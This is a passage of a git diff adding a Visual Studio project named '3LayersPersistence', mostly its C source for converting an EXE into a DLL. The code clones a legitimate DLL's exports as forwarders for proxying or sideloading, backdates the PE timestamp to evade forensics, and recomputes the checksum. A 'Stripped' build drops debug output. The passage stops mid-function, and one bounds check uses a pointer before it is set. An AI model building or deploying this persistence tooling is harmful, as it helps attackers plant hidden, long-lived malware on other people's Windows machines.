diff --git a/3LayersPersistence.sln b/3LayersPersistence.sln
new file mode 100644
index 0000000..86d06a0
--- /dev/null
+++ b/3LayersPersistence.sln
@@ -0,0 +1,37 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.14.36908.2 d17.14
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "3LayersPersistence", "3LayersPersistence\3LayersPersistence.vcxproj", "{CA309FC7-1D89-487A-9857-BE8EF65AE177}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ Stripped|x64 = Stripped|x64
+ Stripped|x86 = Stripped|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.ActiveCfg = Debug|x64
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.Build.0 = Debug|x64
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.ActiveCfg = Debug|Win32
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.Build.0 = Debug|Win32
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.ActiveCfg = Release|x64
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.Build.0 = Release|x64
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.ActiveCfg = Release|Win32
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.Build.0 = Release|Win32
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.ActiveCfg = Stripped|x64
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.Build.0 = Stripped|x64
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.ActiveCfg = Stripped|Win32
+ {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.Build.0 = Stripped|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {980CB615-CE81-406B-86CE-1FA24352AC65}
+ EndGlobalSection
+EndGlobal
diff --git a/3LayersPersistence/3LayersPersistence.vcxproj b/3LayersPersistence/3LayersPersistence.vcxproj
new file mode 100644
index 0000000..77a974f
--- /dev/null
+++ b/3LayersPersistence/3LayersPersistence.vcxproj
@@ -0,0 +1,236 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+ Stripped
+ Win32
+
+
+ Stripped
+ x64
+
+
+
+ 17.0
+ Win32Proj
+ {ca309fc7-1d89-487a-9857-be8ef65ae177}
+ 3LayersPersistence
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+ Level3
+ true
+ _DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE
+ true
+ $(ProjectDir)Utilities
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ _DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG
+ true
+ $(ProjectDir)Utilities
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ false
+
+
+ true
+ $(ProjectDir)Utilities
+ stdcpp17
+ None
+ false
+ false
+ MultiThreadedDLL
+ false
+ MinSpace
+
+
+ Windows
+ false
+
+
+ EntryPoint
+ Default
+
+
+
+
+ Level3
+ true
+ _DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE
+ true
+ $(ProjectDir)Utilities
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ _DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG
+ true
+ $(ProjectDir)Utilities
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ false
+
+
+ true
+ $(ProjectDir)Utilities
+ stdcpp17
+ None
+ false
+ false
+ MultiThreadedDLL
+ false
+ MinSpace
+
+
+ Windows
+ false
+
+
+ EntryPoint
+ Default
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/3LayersPersistence/3LayersPersistence.vcxproj.filters b/3LayersPersistence/3LayersPersistence.vcxproj.filters
new file mode 100644
index 0000000..8b04948
--- /dev/null
+++ b/3LayersPersistence/3LayersPersistence.vcxproj.filters
@@ -0,0 +1,48 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+ {e116f4f5-8db7-4a12-bdbf-a531ee0c1635}
+
+
+
+
+ Source Files
+
+
+ CommonUtilities
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ CommonUtilities
+
+
+ Header Files
+
+
+
\ No newline at end of file
diff --git a/3LayersPersistence/3LayersPersistence.vcxproj.user b/3LayersPersistence/3LayersPersistence.vcxproj.user
new file mode 100644
index 0000000..0f14913
--- /dev/null
+++ b/3LayersPersistence/3LayersPersistence.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/3LayersPersistence/ConvertExeToDll.c b/3LayersPersistence/ConvertExeToDll.c
new file mode 100644
index 0000000..686a34e
--- /dev/null
+++ b/3LayersPersistence/ConvertExeToDll.c
@@ -0,0 +1,659 @@
+#include "Headers.h"
+
+
+/*
+// Example Array
+static EXPORT_ENTRY g_ExampleExportTable[] =
+{
+ { "HelloWorld", (ULONG_PTR)RunMessageBox, 1, NULL }, // named export
+ { "HeapAlloc", 0x00, 2, "NTDLL.RtlAllocateHeap" }, // named forward
+ { NULL, (ULONG_PTR)RunMessageBox, 3, NULL }, // ordinal-only (#3)
+ { "HeapFree", 0x00, 1053, "NTDLL.#1053" }, // forward by ordinal
+ { NULL, 0x00, 21, "NTDLL.#1053" }, // ordinal-only, forward by ordinal
+
+ { NULL, 0x00, INVALID_ORDINAL, NULL } // sentinel
+};
+*/
+
+
+static DWORD RvaToFileOffset(IN PIMAGE_NT_HEADERS pNtHdrs, IN DWORD dwRva)
+{
+ PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHdrs);
+
+ for (WORD i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++, pSection++)
+ {
+ if (dwRva >= pSection->VirtualAddress && dwRva < pSection->VirtualAddress + pSection->Misc.VirtualSize)
+ return (dwRva - pSection->VirtualAddress) + pSection->PointerToRawData;
+ }
+
+ return 0x00;
+}
+
+
+static DWORD ComputePECheckSum(IN PVOID pFileBuffer, IN DWORD dwFileSize)
+{
+ PIMAGE_NT_HEADERS pNtHdrs = NULL;
+ PWORD pwWordView = NULL;
+ DWORD dwWordCount = 0x00;
+ DWORD dwChkSumIdx = 0x00;
+ ULONGLONG ullAccumulator = 0x00;
+
+ if (!pFileBuffer || !dwFileSize)
+ return 0x00;
+
+ pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
+ if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
+ {
+ DBG("[!] Invalid PE Headers");
+ return 0x00;
+ }
+
+ pwWordView = (PWORD)pFileBuffer;
+ dwWordCount = (dwFileSize + 1) / sizeof(WORD);
+ dwChkSumIdx = (DWORD)((PBYTE)&pNtHdrs->OptionalHeader.CheckSum - (PBYTE)pFileBuffer) / sizeof(WORD);
+
+ for (DWORD i = 0; i < dwWordCount; i++)
+ {
+ // Skip the CheckSum Field Itself
+ if (i == dwChkSumIdx || i == dwChkSumIdx + 1)
+ continue;
+
+ ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16) + pwWordView[i];
+ }
+
+ ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16);
+ return (DWORD)((WORD)ullAccumulator + dwFileSize);
+}
+
+
+static DWORD GetDllTimestamp(IN PVOID pFileBuffer, IN DWORD dwFileSize)
+{
+ PIMAGE_NT_HEADERS pNtHdrs = NULL;
+ FILETIME ft = { 0 };
+ ULARGE_INTEGER uli = { 0 };
+ DWORD dwTimeStamp = 0x00;
+
+ if (!pFileBuffer || !dwFileSize)
+ return 0x00;
+
+ GetSystemTimeAsFileTime(&ft);
+
+ uli.LowPart = ft.dwLowDateTime;
+ uli.HighPart = ft.dwHighDateTime;
+ uli.QuadPart -= 116444736000000000ULL;
+ uli.QuadPart /= 10000000ULL;
+
+ pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
+ if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
+ {
+ DBG("[!] Invalid PE Headers");
+ return 0x00;
+ }
+
+#define SECONDS_PER_DAY (60 * 60 * 24)
+#define DAYS_TO_SECONDS(x) ((x) * SECONDS_PER_DAY)
+
+ dwTimeStamp = pNtHdrs->FileHeader.TimeDateStamp;
+
+ // Make it older by 30 days
+ if (dwTimeStamp > (DWORD)uli.QuadPart || dwTimeStamp < DAYS_TO_SECONDS(30))
+ dwTimeStamp = (DWORD)uli.QuadPart - DAYS_TO_SECONDS(60);
+ else
+ dwTimeStamp = dwTimeStamp - DAYS_TO_SECONDS(30);
+
+#undef SECONDS_PER_DAY
+#undef DAYS_TO_SECONDS
+
+ return dwTimeStamp;
+}
+
+
+static BOOL BuildExportTableFromDll(IN ULONG_PTR uDllFileBuffer, IN DWORD dwDllFileSize, IN LPCSTR pszCopiedDllName, OUT PEXPORT_ENTRY* ppExportTable, OUT PDWORD pdwExportCount)
+{
+ PIMAGE_NT_HEADERS pNtHdrs = NULL;
+ PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
+ PDWORD pdwFuncRVAs = NULL;
+ PDWORD pdwNameRVAs = NULL;
+ PWORD pwNameOrdinals = NULL;
+ ULONG_PTR uBlobBuffer = 0x00;
+ PEXPORT_ENTRY pEntries = NULL;
+ PBYTE pStrings = NULL;
+ CHAR szModulePrefix[MAX_PATH] = { 0 };
+ CHAR szForwardBuf[MAX_PATH] = { 0 };
+ DWORD dwActualCount = 0x00,
+ dwTotalStringSize = 0x00,
+ dwStringOffset = 0x00,
+ dwEntryIdx = 0x00;
+ HRESULT hResult = S_OK;
+ BOOL bResult = FALSE;
+
+ if (!uDllFileBuffer || !dwDllFileSize || !pszCopiedDllName || !ppExportTable || !pdwExportCount)
+ return FALSE;
+
+ pNtHdrs = (PIMAGE_NT_HEADERS)(uDllFileBuffer + ((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_lfanew);
+ if (((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
+ {
+ DBG("[!] Invalid PE Headers");
+ goto _END_OF_FUNC;
+ }
+
+ if (!pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
+ {
+ DBG("[!] No Export Directory Found In The Provided DLL Buffer");
+ goto _END_OF_FUNC;
+ }
+
+ // Resolve the Array of RVAs, Array of Names, Array of Ordinals Using 'RvaToFileOffset'
+ pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
+ pdwFuncRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfFunctions));
+ pdwNameRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNames));
+ pwNameOrdinals = (PWORD) (uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNameOrdinals));
+
+ // Build forward module prefix from the copied DLL name ("dspatial.dll" -> "DSPATIAL")
+ // This prefix is prepended to every forwarded export string ("DSPATIAL.FuncName" / "DSPATIAL.#7")
+ if (FAILED((hResult = StringCchCopyA(szModulePrefix, ARRAYSIZE(szModulePrefix), pszCopiedDllName))))
+ {
+ DBG_HEX_ERROR("StringCchCopyA", hResult);
+ goto _END_OF_FUNC;
+ }
+
+ PathRemoveExtensionA(szModulePrefix);
+ CharUpperA(szModulePrefix);
+
+ // First pass (dry run): To count non-empty slots and total string size needed for the blob
+ for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++)
+ {
+ if (!pdwFuncRVAs[i])
+ continue;
+
+ WORD wOrdinal = (WORD)(pExportDir->Base + i);
+ LPCSTR pszName = NULL;
+
+ // Walk the name table to find a name for this ordinal index if any.
+ // If not, we use the ordinal
+ for (DWORD j = 0; j < pExportDir->NumberOfNames; j++)
+ {
+ if (pwNameOrdinals[j] == i)
+ {
+ pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j]));
+ break;
+ }
+ }
+
+ if (pszName)
+ {
+ // Forward string: "MODULE.Name" (exported by name)
+ dwTotalStringSize += (DWORD)lstrlenA(pszName) + 1;
+ dwTotalStringSize += (DWORD)lstrlenA(szModulePrefix) + 1 + (DWORD)lstrlenA(pszName) + 1;
+ }
+ else
+ {
+ // Forward string: "MODULE.#N" (exported by ordinal)
+ wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal);
+ dwTotalStringSize += (DWORD)lstrlenA(szForwardBuf) + 1;
+ }
+
+ dwActualCount++;
+ }
+
+ if (!dwActualCount)
+ {
+ DBG("[!] No Export Directory Found In The Provided DLL Buffer");
+ goto _END_OF_FUNC;
+ }
+
+ // Allocate a single blob:
+ // [ EXPORT_ENTRY * (dwActualCount + 1) ] +1 for the sentinel terminator entry
+ // [ String Pool: dwTotalStringSize bytes ]
+ HEAP_ALLOC(uBlobBuffer, ((dwActualCount + 1) * sizeof(EXPORT_ENTRY) + dwTotalStringSize));
+ if (!uBlobBuffer)
+ goto _END_OF_FUNC;
+
+ pEntries = (PEXPORT_ENTRY)uBlobBuffer;
+ pStrings = (PBYTE)(uBlobBuffer + (dwActualCount + 1) * sizeof(EXPORT_ENTRY));
+
+ // Second pass: Write EXPORT_ENTRY structs and pack strings into thje allocated blob
+ for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++)
+ {
+ if (!pdwFuncRVAs[i])
+ continue;
+
+ WORD wOrdinal = (WORD)(pExportDir->Base + i);
+ LPCSTR pszName = NULL;
+ DWORD dwLen = 0x00;
+
+ for (DWORD j = 0; j < pExportDir->NumberOfNames; j++)
+ {
+ if (pwNameOrdinals[j] == i)
+ {
+ pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j]));
+ break;
+ }
+ }
+
+ pEntries[dwEntryIdx].uFuncAddress = 0x00;
+ pEntries[dwEntryIdx].wOrdinal = wOrdinal;
+
+ // Build "MODULE.Name" forward string
+ if (pszName)
+ {
+ dwLen = (DWORD)lstrlenA(pszName) + 1;
+ RtlCopyMemory(pStrings + dwStringOffset, pszName, dwLen);
+ pEntries[dwEntryIdx].pszName = (LPCSTR)(pStrings + dwStringOffset);
+ dwStringOffset += dwLen;
+
+ wsprintfA(szForwardBuf, "%s.%s", szModulePrefix, pszName);
+ dwLen = (DWORD)lstrlenA(szForwardBuf) + 1;
+ RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen);
+ pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset);
+ dwStringOffset += dwLen;
+ }
+ // Build "MODULE.#N" forward string
+ else
+ {
+ pEntries[dwEntryIdx].pszName = NULL;
+
+ wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal);
+ dwLen = (DWORD)lstrlenA(szForwardBuf) + 1;
+ RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen);
+ pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset);
+ dwStringOffset += dwLen;
+ }
+
+ /*
+ DBG("[dbg] Export Built | %-30s | Forward: %s | Ordinal: %u",
+ pEntries[dwEntryIdx].pszName ? pEntries[dwEntryIdx].pszName : "",
+ pEntries[dwEntryIdx].pszForward,
+ wOrdinal);
+ */
+
+ dwEntryIdx++;
+ }
+
+ // Sentinel to mark the end of the table
+ pEntries[dwActualCount].pszName = NULL;
+ pEntries[dwActualCount].uFuncAddress = 0x00;
+ pEntries[dwActualCount].wOrdinal = INVALID_ORDINAL;
+ pEntries[dwActualCount].pszForward = NULL;
+
+ *ppExportTable = pEntries;
+ *pdwExportCount = dwActualCount;
+
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ if (!bResult)
+ HEAP_FREE(uBlobBuffer);
+ return bResult;
+}
+
+
+static BOOL PatchExportAddressTable(IN OUT PULONG_PTR puFileBuffer, IN OUT PDWORD pdwFileSize, IN LPCSTR pszDllName, IN PEXPORT_ENTRY pExportTable, IN DWORD dwExportCount, IN DWORD dwTimeDateStamp)
+{
+ PIMAGE_NT_HEADERS pNtHdrs = NULL;
+ PIMAGE_SECTION_HEADER pNewSection = NULL;
+ PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
+ ULONG_PTR uModule = 0x00;
+ ULONG_PTR uNewBuffer = 0x00;
+ PBYTE pBlob = NULL;
+ PDWORD pdwFuncRVAs = NULL;
+ PDWORD pdwNameRVAs = NULL;
+ PWORD pwOrdinals = NULL;
+ DWORD dwNameIdx = 0x00,
+ dwNumExports = 0x00,
+ dwNumNames = 0x00,
+ dwNumFuncSlots = 0x00,
+ dwSectionVA = 0x00,
+ dwSectionRaw = 0x00,
+ dwSectionAlign = 0x00,
+ dwFileAlign = 0x00,
+ dwNewFileSize = 0x00,
+ dwBlobSize = 0x00,
+ dwOffExpDir = 0x00,
+ dwOffFuncRVAs = 0x00,
+ dwOffNameRVAs = 0x00,
+ dwOffOrdinals = 0x00,
+ dwOffDllName = 0x00,
+ dwOffNames = 0x00,
+ dwOffForwards = 0x00;
+ BOOL bResult = FALSE;
+
+ if (!puFileBuffer || !pdwFileSize || !pszDllName || !pExportTable || !dwExportCount)
+ return FALSE;
+
+ // Needed later to convert absolute function addresses to image-relative RVAs
+ uModule = (ULONG_PTR)GetModuleHandle(NULL);
+
+ // Count exports, named entries, and the highest ordinal to correctly size the sparse FuncRVA table
+ while (dwNumExports < dwExportCount && pExportTable[dwNumExports].wOrdinal != INVALID_ORDINAL)
+ {
+ if (pExportTable[dwNumExports].pszName != NULL)
+ dwNumNames++;
+
+ // FuncRVA table is ordinal-indexed and sparse
+ // Its slot count equals the highest ordinal value, not the export count
+ if ((DWORD)pExportTable[dwNumExports].wOrdinal + 1 > dwNumFuncSlots)
+ dwNumFuncSlots = (DWORD)pExportTable[dwNumExports].wOrdinal;
+
+ dwNumExports++;
+ }
+
+ if (dwNumExports == 0)
+ {
+ DBG("[!] Export Table Is Empty");
+ return FALSE;
+ }
+
+ /*
+ DBG("[dbg] %u Export(s) | %u Named | %u Ordinal-Only | %u FuncRVA Slot(s)", dwNumExports, dwNumNames, dwNumExports - dwNumNames, dwNumFuncSlots);
+ */
+
+ pNtHdrs = (PIMAGE_NT_HEADERS)(*puFileBuffer + ((PIMAGE_DOS_HEADER)*puFileBuffer)->e_lfanew);
+ if (((PIMAGE_DOS_HEADER)*puFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
+ {
+ DBG("[!] Invalid PE Headers");
+ return FALSE;
+ }
+
+ // Verify there is room in the headers region for one additional section header entry before we start working
+ if ((DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)uNewBuffer) > pNtHdrs->OptionalHeader.SizeOfHeaders)
+ {
+ DBG("[!] No Room For New Section Header (Required: 0x%08X | Available: 0x%08X)",
+ (DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)*puFileBuffer), pNtHdrs->OptionalHeader.SizeOfHeaders);
+ return FALSE;
+ }
+
+ dwSectionAlign = pNtHdrs->OptionalHeader.SectionAlignment;
+ dwFileAlign = pNtHdrs->OptionalHeader.FileAlignment;
+
+ // New section is placed after the last existing section, aligned to both section and file alignment
+ {
+ PIMAGE_SECTION_HEADER pLastSection = IMAGE_FIRST_SECTION(pNtHdrs) + (pNtHdrs->FileHeader.NumberOfSections - 1);
+ dwSectionVA = ALIGN_UP(pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize, dwSectionAlign);
+ dwSectionRaw = ALIGN_UP(*pdwFileSize, dwFileAlign);
+ /*
+ DBG("[dbg] New Section | VA: 0x%08X | FileOffset: 0x%08X", dwSectionVA, dwSectionRaw);
+ */
+ }
+
+ // ----------------------------------------------------------------------------------------------
+ // Compute blob-relative offsets for each sub-region of the export section.
+ //
+ // Blob layout (all offsets are relative to the start of the new section):
+ //
+ // [0x00] IMAGE_EXPORT_DIRECTORY (fixed size)
+ // [+sizeof(EXPDIR)] FuncRVAs[] (4 * dwNumFuncSlots — sparse, ordinal-indexed EAT)
+ // [+...] NameRVAs[] (4 * dwNumNames — RVAs into the name string pool)
+ // [+...] Ordinals[] (2 * dwNumNames — EONT, WORD-sized, DWORD-padded)
+ // [+...] DLL name string (null-terminated)
+ // [+...] Export name strings (one per named export, null-terminated)
+ // [+...] Forward strings (one per forwarded export, after all name strings)
+ // ----------------------------------------------------------------------------------------------
+
+ dwOffExpDir = 0x00;
+ dwOffFuncRVAs = dwOffExpDir + sizeof(IMAGE_EXPORT_DIRECTORY);
+ dwOffNameRVAs = dwOffFuncRVAs + dwNumFuncSlots * sizeof(DWORD);
+ dwOffOrdinals = dwOffNameRVAs + dwNumNames * sizeof(DWORD);
+ dwOffDllName = ALIGN_UP(dwOffOrdinals + dwNumNames * sizeof(WORD), sizeof(DWORD)); // pad to DWORD boundary before placing the DLL name
+ dwOffNames = dwOffDllName + (DWORD)lstrlenA(pszDllName) + 1;
+
+ // Walk the table once to accumulate the variable-length name and forward string sizes
+ dwBlobSize = dwOffNames;
+ for (DWORD i = 0; i < dwNumExports; i++)
+ {
+ if (pExportTable[i].pszName != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszName) + 1;
+ if (pExportTable[i].pszForward != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszForward) + 1;
+ }
+
+
+ // Allocate a new buffer large enough for the original file data plus the aligned export section
+ dwNewFileSize = dwSectionRaw + ALIGN_UP(dwBlobSize, dwFileAlign);
+ HEAP_ALLOC(uNewBuffer, dwNewFileSize);
+ if (!uNewBuffer) return FALSE;
+
+ RtlCopyMemory((PVOID)uNewBuffer, (PVOID)*puFileBuffer, *pdwFileSize);
+ HEAP_FREE(*puFileBuffer);
+
+ // Re-derive NT headers pointer after reallocation
+ pNtHdrs = (PIMAGE_NT_HEADERS)(uNewBuffer + ((PIMAGE_DOS_HEADER)uNewBuffer)->e_lfanew);
+ pBlob = (PBYTE)(uNewBuffer + dwSectionRaw);
+
+ // Fill IMAGE_EXPORT_DIRECTORY.
+ // All address fields are VAs relative to the section base (not file offsets)
+ pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBlob + dwOffExpDir);
+ pExportDir->Name = dwSectionVA + dwOffDllName;
+ pExportDir->Base = 0x01; // ordinals are 1-based
+ pExportDir->TimeDateStamp = dwTimeDateStamp;
+ pExportDir->NumberOfFunctions = dwNumFuncSlots;
+ pExportDir->NumberOfNames = dwNumNames;
+ pExportDir->AddressOfFunctions = dwSectionVA + dwOffFuncRVAs;
+ pExportDir->AddressOfNames = dwSectionVA + dwOffNameRVAs;
+ pExportDir->AddressOfNameOrdinals = dwSectionVA + dwOffOrdinals;
+
+ pdwFuncRVAs = (PDWORD)(pBlob + dwOffFuncRVAs);
+ pdwNameRVAs = (PDWORD)(pBlob + dwOffNameRVAs);
+ pwOrdinals = (PWORD )(pBlob + dwOffOrdinals);
+
+ RtlCopyMemory(pBlob + dwOffDllName, pszDllName, lstrlenA(pszDllName) + 1);
+
+ // Pre-compute where forward strings begin inside the blob
+ dwOffForwards = dwOffNames;
+ for (DWORD i = 0; i < dwNumExports; i++)
+ {
+ if (pExportTable[i].pszName != NULL) dwOffForwards += (DWORD)lstrlenA(pExportTable[i].pszName) + 1;
+ }
+
+ // Main Loop
+ for (DWORD i = 0; i < dwNumExports; i++)
+ {
+ PEXPORT_ENTRY pEntry = &pExportTable[i];
+ DWORD dwStrSize = 0x00;
+
+ if (pEntry->pszForward != NULL)
+ {
+ // For a forwarded export, the FuncRVA slot holds the VA of the forward string (not a function code RVA)
+ pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = dwSectionVA + dwOffForwards;
+
+ dwStrSize = (DWORD)lstrlenA(pEntry->pszForward) + 1;
+ RtlCopyMemory(pBlob + dwOffForwards, pEntry->pszForward, dwStrSize);
+ dwOffForwards += dwStrSize;
+ }
+ else
+ {
+ // For a real export, store the function's RVA relative to the module base
+ // NOTE:
+ // This branch is never executed in this project because we use this function with a table
+ // built by 'BuildExportTableFromDll', which produces only forwarded functions.
+ // For comparison, check out the commented 'g_ExampleExportTable' variable where we have all types of functions
+ pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = (DWORD)(pEntry->uFuncAddress - uModule);
+ }
+
+ if (pEntry->pszName != NULL)
+ {
+ // NameRVAs and Ordinals arrays are parallel
+ // pdwNameRVAs[k] is the RVA of the name string whose ordinal index is pwOrdinals[k].
+ // dwNameIdx links the two
+ pdwNameRVAs[dwNameIdx] = dwSectionVA + dwOffNames;
+ pwOrdinals[dwNameIdx] = (WORD)(pEntry->wOrdinal - pExportDir->Base);
+ dwNameIdx++;
+
+ dwStrSize = (DWORD)lstrlenA(pEntry->pszName) + 1;
+ RtlCopyMemory(pBlob + dwOffNames, pEntry->pszName, dwStrSize);
+ dwOffNames += dwStrSize;
+
+ if (pEntry->pszForward != NULL)
+ DBG("[+] Export[%u] | %-30s | Forward To: %-30s | Ordinal: %u", i, pEntry->pszName, pEntry->pszForward, pEntry->wOrdinal);
+ else
+ DBG("[+] Export[%u] | %-30s | RVA: 0x%08X | Ordinal: %u", i, pEntry->pszName, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal);
+ }
+ else
+ {
+ if (pEntry->pszForward != NULL)
+ DBG("[+] Export[%u] | | Forward To: %-30s | Ordinal: %u", i, pEntry->pszForward, pEntry->wOrdinal);
+ else
+ DBG("[+] Export[%u] | | RVA: 0x%08X | Ordinal: %u", i, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal);
+ }
+ }
+
+ // AddressOfNames must be sorted ascending (so that the PE loader's binary search logic work)
+ if (dwNumNames > 1)
+ {
+ for (DWORD i = 0; i < dwNumNames - 1; i++)
+ {
+ for (DWORD j = i + 1; j < dwNumNames; j++)
+ {
+ // Resolve both name RVAs back to their string pointers for comparison
+ LPCSTR pszA = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[i] - dwSectionVA));
+ LPCSTR pszB = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[j] - dwSectionVA));
+
+ if (lstrcmpA(pszA, pszB) > 0)
+ {
+ // Swap both the name RVA and its paired ordinal to keep the two arrays in sync
+ DWORD dwTmp = pdwNameRVAs[i];
+ pdwNameRVAs[i] = pdwNameRVAs[j];
+ pdwNameRVAs[j] = dwTmp;
+
+ WORD wTmp = pwOrdinals[i];
+ pwOrdinals[i] = pwOrdinals[j];
+ pwOrdinals[j] = wTmp;
+ }
+ }
+ }
+ }
+
+ // Append a new section header for the export blob (".edata")
+ pNewSection = IMAGE_FIRST_SECTION(pNtHdrs) + pNtHdrs->FileHeader.NumberOfSections;
+
+ RtlSecureZeroMemory(pNewSection, sizeof(IMAGE_SECTION_HEADER));
+
+ // Populate the new section's data
+ RtlCopyMemory(pNewSection->Name, EDATA_SECTION_NAME, sizeof(EDATA_SECTION_NAME) - 1);
+ pNewSection->Misc.VirtualSize = dwBlobSize; // actual data size
+ pNewSection->VirtualAddress = dwSectionVA;
+ pNewSection->SizeOfRawData = ALIGN_UP(dwBlobSize, dwFileAlign); // padded data size
+ pNewSection->PointerToRawData = dwSectionRaw;
+ pNewSection->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA;
+
+ // Add the new section to the headers
